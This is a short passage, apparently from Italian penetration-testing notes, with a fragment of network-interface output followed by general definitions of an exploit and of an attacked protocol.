Hardware MAC : 08:00:27:c0:bb:4a
MTU        : 1500
IPv4 Address : 192.168.1.200
IPv4 Netmask : 255.255.255.0
```

EXPLOIT

Un exploit è un pezzo di software, un insieme di dati o una sequenza di comandi che sfrutta una vulnerabilità in un sistema informatico o in un'applicazione software. Gli exploit sono spesso utilizzati per guadagnare il controllo di un sistema o per ottenere privilegi di accesso che altrimenti non sarebbero disponibili. Possono variare in complessità, da semplici script a complessi programmi, e sono spesso utilizzati in attacchi informatici.

PROTOCOLLO ATTACCATO

Il protocollo attaccato, nel contesto della sicurezza informatica, si riferisce al protocollo di rete o all'insieme di regole e convenzioni che vengono sfruttati da un exploit per compromettere un sistema. Questi protocolli possono essere di vario tipo, come HTTP, SMTP o TCP/IP, e ciascuno ha le proprie vulnerabilità specifiche. Gli attaccanti cercano di individuare e sfruttare queste vulnerabilità per ottenere accesso non autorizzato o per danneggiare il sistema bersaglio.